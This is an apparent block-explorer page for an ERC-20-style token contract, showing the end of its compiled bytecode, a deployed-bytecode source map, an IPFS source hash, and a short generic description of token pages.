df523b3ef85604051610cf191815260200190565b60405180910390a36109ec565b8015610e105760006103e860065485610d1791906111a0565b610d219190611095565b90506000610d2f828661118d565b6001600160a01b038816600090815260016020526040902054909150610d5690869061118d565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610d869082906110b7565b6001600160a01b038716600090815260016020526040808220929092553081522054610db39083906110b7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506109ec565b61dead600090815260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d546007546103e890610e519087906111a0565b610e5b9190611095565b610e6591906110b7565b90506000610e73828661118d565b6001600160a01b038816600090815260016020526040902054909150610e9a90869061118d565b6001600160a01b038089166000908152600160205260408082209390935590881681522054610eca9082906110b7565b6001600160a01b038716600090815260016020526040808220929092553081522054610ef79083906110b7565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050565b600060208083528351808285015260005b81811015610f8357858101830151858201604001528201610f67565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fb957600080fd5b50565b60008060408385031215610fcf57600080fd5b8235610fda81610fa4565b946020939093013593505050565b600080600060608486031215610ffd57600080fd5b833561100881610fa4565b9250602084013561101881610fa4565b929592945050506040919091013590565b60006020828403121561103b57600080fd5b813561061d81610fa4565b6000806040838503121561105957600080fd5b823561106481610fa4565b9150602083013561107481610fa4565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000826110b257634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104575761045761107f565b600060ff821660ff81036110e0576110e061107f565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111157600080fd5b815161061d81610fa4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561116c5784516001600160a01b031683529383019391830191600101611147565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156104575761045761107f565b80820281158282048414176104575761045761107f56fea26469706673582212205a3461d81c90ca94db8043c08b4dbd2ecf0855b689225b16972d402d810a40cd64736f6c63430008110033

Deployed Bytecode Sourcemap

3858:7788:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5513:83;;;;;;;;;;-1:-1:-1;5583:5:0;;;;;;;;;;;;-1:-1:-1;;;5583:5:0;;;;5513:83;;;;;;;:::i;:::-;;;;;;;;6343:161;;;;;;;;;;-1:-1:-1;6343:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6343:161:0;1023:187:1;4706:41:0;;;;;;;;;;-1:-1:-1;4706:41:0;;;;-1:-1:-1;;;;;4706:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4706:41:0;1215:229:1;5790:95:0;;;;;;;;;;-1:-1:-1;5870:7:0;;5790:95;;;1595:25:1;;;1583:2;1568:18;5790:95:0;1449:177:1;6512:304:0;;;;;;;;;;-1:-1:-1;6512:304:0;;;;;:::i;:::-;;:::i;5699:83::-;;;;;;;;;;-1:-1:-1;5699:83:0;;4224:2;2234:36:1;;2222:2;2207:18;5699:83:0;2092:184:1;6824:218:0;;;;;;;;;;-1:-1:-1;6824:218:0;;;;;:::i;:::-;;:::i;4754:28::-;;;;;;;;;;-1:-1:-1;4754:28:0;;;;-1:-1:-1;;;;;4754:28:0;;;5893:117;;;;;;;;;;-1:-1:-1;5893:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5986:16:0;5959:7;5986:16;;;:7;:16;;;;;;;5893:117;3704:139;;;;;;;;;;;;;:::i;:::-;;4079:51;;;;;;;;;;-1:-1:-1;4079:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4563:55;;;;;;;;;;;;;;;;4625:45;;;;;;;;;;;;;;;;3608:87;;;;;;;;;;-1:-1:-1;3654:7:0;3681:6;-1:-1:-1;;;;;3681:6:0;3608:87;;5604;;;;;;;;;;-1:-1:-1;5676:7:0;;;;;;;;;;;;-1:-1:-1;;;5676:7:0;;;;5604:87;;7050:259;;;;;;;;;;-1:-1:-1;7050:259:0;;;;;:::i;:::-;;:::i;6018:167::-;;;;;;;;;;-1:-1:-1;6018:167:0;;;;;:::i;:::-;;:::i;4233:47::-;;;;;;;;;;;;;;;;6192:143;;;;;;;;;;-1:-1:-1;6192:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6300:18:0;;;6273:7;6300:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6192:143;4526:28;;;;;;;;;;;;;;;;4485:26;;;;;;;;;;;;;;;;6343:161;6418:4;6435:39;2211:10;6458:7;6467:6;6435:8;:39::i;:::-;-1:-1:-1;6492:4:0;6343:161;;;;;:::o;6512:304::-;6610:4;6627:36;6637:6;6645:9;6656:6;6627:9;:36::i;:::-;6674:112;6683:6;2211:10;6705:80;6743:6;6705:80;;;;;;;;;;;;;;;;;:11;:19;6717:6;-1:-1:-1;;;;;6705:19:0;-1:-1:-1;;;;;6705:19:0;;;;;;;;;;;;:33;6725:12;2211:10;;2131:98;6725:12;-1:-1:-1;;;;;6705:33:0;;;;;;;;;;;;-1:-1:-1;6705:33:0;;;:80;:37;:80::i;:::-;6674:8;:112::i;:::-;-1:-1:-1;6804:4:0;6512:304;;;;;:::o;6824:218::-;2211:10;6912:4;6961:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6961:34:0;;;;;;;;;;6912:4;;6929:83;;6952:7;;6961:50;;7000:10;6961:38;:50::i;3704:139::-;3802:1;3786:6;;3765:40;;-1:-1:-1;;;;;3786:6:0;;;;3765:40;;3802:1;;3765:40;3833:1;3816:19;;-1:-1:-1;;;;;;3816:19:0;;;3704:139::o;7050:259::-;7143:4;7160:119;2211:10;7183:7;7192:86;7231:15;7192:86;;;;;;;;;;;;;;;;;:11;:25;7204:12;2211:10;;2131:98;7204:12;-1:-1:-1;;;;;7192:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;7192:25:0;;;:34;;;;;;;;;;;:86;:38;:86::i;6018:167::-;6096:4;6113:42;2211:10;6137:9;6148:6;6113:9;:42::i;1554:98::-;1612:7;1639:5;1643:1;1639;:5;:::i;:::-;1632:12;1554:98;-1:-1:-1;;;1554:98:0:o;7455:343::-;-1:-1:-1;;;;;7548:19:0;;7540:72;;;;-1:-1:-1;;;7540:72:0;;3690:2:1;7540:72:0;;;3672:21:1;3729:2;3709:18;;;3702:30;3768:34;3748:18;;;3741:62;-1:-1:-1;;;3819:18:1;;;3812:38;3867:19;;7540:72:0;;;;;;;;;-1:-1:-1;;;;;7631:21:0;;7623:72;;;;-1:-1:-1;;;7623:72:0;;4099:2:1;7623:72:0;;;4081:21:1;4138:2;4118:18;;;4111:30;4177:34;4157:18;;;4150:62;-1:-1:-1;;;4228:18:1;;;4221:36;4274:19;;7623:72:0;3897:402:1;7623:72:0;-1:-1:-1;;;;;7706:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7758:32;;1595:25:1;;;7758:32:0;;1568:18:1;7758:32:0;;;;;;;7455:343;;;:::o;8234:1421::-;-1:-1:-1;;;;;8356:22:0;;;;;;:18;:22;;;;;;;;8355:23;:61;;;;-1:-1:-1;;;;;;8392:24:0;;;;;;:18;:24;;;;;;;;8391:25;8355:61;:97;;;;-1:-1:-1;8439:13:0;;-1:-1:-1;;;;;8433:19:0;;;8439:13;;8433:19;;8355:97;8350:323;;;-1:-1:-1;;;;;5986:16:0;;8468:18;5986:16;;;:7;:16;;;;;;8550:15;;8526:19;8539:6;5986:16;8526:19;:::i;:::-;8525:40;;8517:69;;;;-1:-1:-1;;;8517:69:0;;4636:2:1;8517:69:0;;;4618:21:1;4675:2;4655:18;;;4648:30;-1:-1:-1;;;4694:18:1;;;4687:47;4751:18;;8517:69:0;4434:341:1;8517:69:0;8626:1;8617:6;:10;8609:58;;;;-1:-1:-1;;;8609:58:0;;4982:2:1;8609:58:0;;;4964:21:1;5021:2;5001:18;;;4994:30;5060:34;5040:18;;;5033:62;-1:-1:-1;;;5111:18:1;;;5104:33;5154:19;;8609:58:0;4780:399:1;8609:58:0;8453:220;8350:323;-1:-1:-1;;;;;8691:22:0;;;;;;:18;:22;;;;;;;;8690:23;:61;;;;-1:-1:-1;;;;;;8727:24:0;;;;;;:18;:24;;;;;;;;8726:25;8690:61;8685:601;;;8792:11;;;;;;;;8781:7;;:22;;;;:61;;-1:-1:-1;8829:13:0;;-1:-1:-1;;;;;8821:21:0;;;8829:13;;8821:21;;8781:61;8764:515;;;8947:4;8898:28;5986:16;;;:7;:16;;;;;;8994:12;;8971:35;;8968:78;;;-1:-1:-1;9032:12:0;;8968:78;9060:7;:11;;-1:-1:-1;;9060:11:0;;;9086:38;9103:20;9086:16;:38::i;:::-;9157:21;9193:74;9214:42;9157:21;9193:12;:74::i;:::-;8867:412;;8764:515;-1:-1:-1;;;;;9353:24:0;;9296:12;9353:24;;;:18;:24;;;;;;9311:4;;9296:12;9353:24;;;:50;;-1:-1:-1;;;;;;9381:22:0;;;;;;:18;:22;;;;;;;;9353:50;9350:237;;;9429:5;9419:15;;9350:237;;;9478:13;;-1:-1:-1;;;;;9478:13:0;;;9470:21;;;;9467:72;;-1:-1:-1;9519:4:0;9467:72;9566:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;9350:237;9599:48;9614:4;9620:2;9624:6;9632:7;9641:5;9599:14;:48::i;:::-;8337:1318;;8234:1421;;;:::o;1660:206::-;1746:7;1807:12;1799:6;;;;1791:29;;;;-1:-1:-1;;;1791:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1842:5:0;;;1660:206::o;1232:98::-;1290:7;1317:5;1321:1;1317;:5;:::i;11171:472::-;11261:16;;;11275:1;11261:16;;;;;;;;11237:21;;11261:16;;;;;;;;;;-1:-1:-1;11261:16:0;11237:40;;11306:4;11288;11293:1;11288:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11288:23:0;;;:7;;;;;;;;;;:23;;;;11332:15;;:22;;;-1:-1:-1;;;11332:22:0;;;;:15;;;;;:20;;:22;;;;;11288:7;;11332:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11322:4;11327:1;11322:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11322:32:0;;;:7;;;;;;;;;:32;11397:15;;11365:62;;11382:4;;11397:15;11415:11;11365:8;:62::i;:::-;11438:15;;:197;;-1:-1:-1;;;11438:197:0;;-1:-1:-1;;;;;11438:15:0;;;;:66;;:197;;11519:11;;11438:15;;11562:4;;11589;;11609:15;;11438:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11226:417;11171:472;:::o;9667:120::-;9752:23;;-1:-1:-1;;;;;9752:15:0;;;:23;;;;;9768:6;;9752:23;;;;9768:6;9752:15;:23;;;;;;;;;;;;;;;;;;;;;9667:120;;:::o;9801:1363::-;9934:7;9930:1225;;-1:-1:-1;;;;;9978:18:0;;;;;;:7;:18;;;;;;:26;;9997:7;;9978:26;:::i;:::-;-1:-1:-1;;;;;9957:18:0;;;;;;;:7;:18;;;;;;:47;;;;10037:15;;;;;;;:23;;10053:7;;10037:23;:::i;:::-;-1:-1:-1;;;;;10019:15:0;;;;;;:7;:15;;;;;;;;:41;;;;10078:18;:26;;;;;;:59;;;;-1:-1:-1;;;;;;10108:29:0;;;;;;:18;:29;;;;;;;;10078:59;10075:190;;;-1:-1:-1;;;;;10176:18:0;;;;;;:7;:18;;;;;;:26;;10195:7;;10176:26;:::i;:::-;-1:-1:-1;;;;;10155:18:0;;;;;;:7;:18;;;;;:47;9930:1225;;10075:190;10243:9;-1:-1:-1;;;;;10226:36:0;10235:6;-1:-1:-1;;;;;10226:36:0;;10254:7;10226:36;;;;1595:25:1;;1583:2;1568:18;;1449:177;10226:36:0;;;;;;;;9930:1225;;;10293:5;10289:866;;;10314:14;10347:4;10339:7;;10331;:15;;;;:::i;:::-;:20;;;;:::i;:::-;10314:37;-1:-1:-1;10366:23:0;10392:14;10314:37;10392:7;:14;:::i;:::-;-1:-1:-1;;;;;10439:15:0;;;;;;:7;:15;;;;;;10366:40;;-1:-1:-1;10439:23:0;;10455:7;;10439:23;:::i;:::-;-1:-1:-1;;;;;10421:15:0;;;;;;;:7;:15;;;;;;:41;;;;10498:18;;;;;;;:34;;10517:15;;10498:34;:::i;:::-;-1:-1:-1;;;;;10477:18:0;;;;;;:7;:18;;;;;;:55;;;;10588:4;10572:22;;;;:29;;10595:6;;10572:29;:::i;:::-;10563:4;10547:22;;;;:7;:22;;;;;;;;;:54;;;;10624:44;1595:25:1;;;-1:-1:-1;;;;;10624:44:0;;;;;;;;;;1568:18:1;10624:44:0;;;;;;;10299:385;;10289:866;;;10763:42;10705:15;10747:60;;;:7;:60;;;;10723:8;;10740:4;;10723:16;;10732:7;;10723:16;:::i;:::-;:21;;;;:::i;:::-;:84;;;;:::i;:::-;10705:102;-1:-1:-1;10835:23:0;10861:15;10705:102;10861:7;:15;:::i;:::-;-1:-1:-1;;;;;10909:15:0;;;;;;:7;:15;;;;;;10835:41;;-1:-1:-1;10909:23:0;;10925:7;;10909:23;:::i;:::-;-1:-1:-1;;;;;10891:15:0;;;;;;;:7;:15;;;;;;:41;;;;10968:18;;;;;;;:34;;10987:15;;10968:34;:::i;:::-;-1:-1:-1;;;;;10947:18:0;;;;;;:7;:18;;;;;;:55;;;;11058:4;11042:22;;;;:30;;11065:7;;11042:30;:::i;:::-;11033:4;11017:22;;;;:7;:22;;;;;;;;;:55;;;;11095:44;1595:25:1;;;-1:-1:-1;;;;;11095:44:0;;;;;;;;;;1568:18:1;11095:44:0;;;;;;;10690:465;;9801:1363;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:217;3306:1;3332;3322:132;;3376:10;3371:3;3367:20;3364:1;3357:31;3411:4;3408:1;3401:15;3439:4;3436:1;3429:15;3322:132;-1:-1:-1;3468:9:1;;3266:217::o;4304:125::-;4369:9;;;4390:10;;;4387:36;;;4403:18;;:::i;5184:175::-;5221:3;5265:4;5258:5;5254:16;5294:4;5285:7;5282:17;5279:43;;5302:18;;:::i;:::-;5351:1;5338:15;;5184:175;-1:-1:-1;;5184:175:1:o;5496:127::-;5557:10;5552:3;5548:20;5545:1;5538:31;5588:4;5585:1;5578:15;5612:4;5609:1;5602:15;5628:251;5698:6;5751:2;5739:9;5730:7;5726:23;5722:32;5719:52;;;5767:1;5764;5757:12;5719:52;5799:9;5793:16;5818:31;5843:5;5818:31;:::i;5884:980::-;6146:4;6194:3;6183:9;6179:19;6225:6;6214:9;6207:25;6251:2;6289:6;6284:2;6273:9;6269:18;6262:34;6332:3;6327:2;6316:9;6312:18;6305:31;6356:6;6391;6385:13;6422:6;6414;6407:22;6460:3;6449:9;6445:19;6438:26;;6499:2;6491:6;6487:15;6473:29;;6520:1;6530:195;6544:6;6541:1;6538:13;6530:195;;;6609:13;;-1:-1:-1;;;;;6605:39:1;6593:52;;6700:15;;;;6665:12;;;;6641:1;6559:9;6530:195;;;-1:-1:-1;;;;;;;6781:32:1;;;;6776:2;6761:18;;6754:60;-1:-1:-1;;;6845:3:1;6830:19;6823:35;6742:3;5884:980;-1:-1:-1;;;5884:980:1:o;6869:128::-;6936:9;;;6957:11;;;6954:37;;;6971:18;;:::i;7002:168::-;7075:9;;;7106;;7123:15;;;7117:22;;7103:37;7093:71;;7144:18;;:::i

Swarm Source

ipfs://5a3461d81c90ca94db8043c08b4dbd2ecf0855b689225b16972d402d810a40cd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.